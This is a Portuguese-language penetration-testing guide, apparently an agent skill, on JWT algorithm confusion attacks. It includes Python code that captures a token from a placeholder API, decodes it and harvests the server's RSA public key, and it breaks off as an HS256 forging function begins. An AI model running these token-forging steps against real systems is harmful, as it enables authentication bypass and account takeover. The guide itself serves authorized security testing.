Explorando Ataques de Confusão de Algoritmo JWT

Quando Usar

• Testando APIs que usam tokens JWT RS256 (assimétricos) para autenticação para verificar o downgrade do algoritmo para HS256
• Avaliando implementações JWT para bypass de alg:none onde o servidor ignora a verificação de assinatura
• Avaliando bibliotecas JWT para vulnerabilidades de confusão de chave onde a chave pública é usada como segredo HMAC
• Testando os parâmetros de cabeçalho kid (Key ID), jku (JWK Set URL) e x5u (X.509 URL) para injeção
• Validando que o servidor da API impõe um algoritmo específico e não confia no cabeçalho JWT

Não use sem autorização por escrito. A exploração de JWT pode levar a bypass de autenticação e tomada de controle de conta.

Pré-requisitos

• Autorização por escrito especificando a API alvo e a autenticação baseada em JWT no escopo
• Um token JWT válido da API alvo (obtido através de autenticação legítima)
• A chave pública RSA do servidor (obtível do endpoint JWKS, certificado TLS ou endpoint de chave pública)
• Python 3.10+ com as bibliotecas PyJWT, cryptography e requests
• jwt_tool para testes automatizados de ataques JWT
• Burp Suite com a extensão JWT Editor

Aviso Legal: Esta habilidade é apenas para testes de segurança autorizados e fins educacionais. O uso não autorizado contra sistemas que você não possui ou tem permissão por escrito para testar é ilegal e pode violar leis de fraude computacional.

Fluxo de Trabalho

Passo 1: Análise do Token JWT

import base64
import json
import requests
import hmac
import hashlib
import time

BASE_URL = "https://target-api.example.com/api/v1"

# Capture a valid JWT token
login_resp = requests.post(f"{BASE_URL}/auth/login",
    json={"email": "test@example.com", "password": "TestPass123!"})
valid_token = login_resp.json().get("access_token", "")

# Decode JWT parts
def decode_jwt(token):
    parts = token.split('.')
    if len(parts) != 3:
        raise ValueError("Invalid JWT format")

    def pad(s):
        return s + '=' * (4 - len(s) % 4)

    header = json.loads(base64.urlsafe_b64decode(pad(parts[0])))
    payload = json.loads(base64.urlsafe_b64decode(pad(parts[1])))
    return header, payload, parts[2]

header, payload, signature = decode_jwt(valid_token)
print(f"Algorithm: {header.get('alg')}")
print(f"Key ID: {header.get('kid', 'none')}")
print(f"Type: {header.get('typ')}")
print(f"JKU: {header.get('jku', 'none')}")
print(f"\nPayload: {json.dumps(payload, indent=2)}")
print(f"\nExpires: {time.ctime(payload.get('exp', 0))}")

Passo 2: Obtenha a Chave Pública

from cryptography.hazmat.primitives import serialization
from cryptography.x509 import load_pem_x509_certificate

# Method 1: JWKS endpoint
jwks_url = f"{BASE_URL}/.well-known/jwks.json"
jwks_resp = requests.get(jwks_url)
if jwks_resp.status_code == 200:
    jwks = jwks_resp.json()
    print(f"JWKS keys found: {len(jwks.get('keys', []))}")
    for key in jwks['keys']:
        print(f"  kid: {key.get('kid')}, kty: {key.get('kty')}, alg: {key.get('alg')}")

    # Extract RSA public key from JWKS
    from cryptography.hazmat.primitives.asymmetric.rsa import RSAPublicNumbers
    from cryptography.hazmat.backends import default_backend

    rsa_key = jwks['keys'][0]  # First key
    n = int.from_bytes(base64.urlsafe_b64decode(rsa_key['n'] + '=='), 'big')
    e = int.from_bytes(base64.urlsafe_b64decode(rsa_key['e'] + '=='), 'big')
    public_key = RSAPublicNumbers(e, n).public_key(default_backend())
    public_key_pem = public_key.public_bytes(
        encoding=serialization.Encoding.PEM,
        format=serialization.PublicFormat.SubjectPublicKeyInfo
    )
    print(f"\nPublic Key (PEM):\n{public_key_pem.decode()}")

# Method 2: From well-known OpenID configuration
oidc_resp = requests.get(f"{BASE_URL}/.well-known/openid-configuration")
if oidc_resp.status_code == 200:
    jwks_uri = oidc_resp.json().get('jwks_uri')
    print(f"JWKS URI from OIDC config: {jwks_uri}")

# Method 3: Exposed at common paths
for path in ["/public-key", "/api/public-key", "/oauth/token_key", "/.well-known/jwks"]:
    resp = requests.get(f"{BASE_URL}{path}")
    if resp.status_code == 200 and ("BEGIN" in resp.text or "keys" in resp.text):
        print(f"Public key found at: {path}")

Passo 3: Ataque de Confusão de Algoritmo (RS256 para HS256)

def forge_hs256_with_public_key(token, public_key_pem, modifications=None):
    """
    Confusão de algoritmo: Assina o token com HS256 usando a chave pública RSA como segredo.

…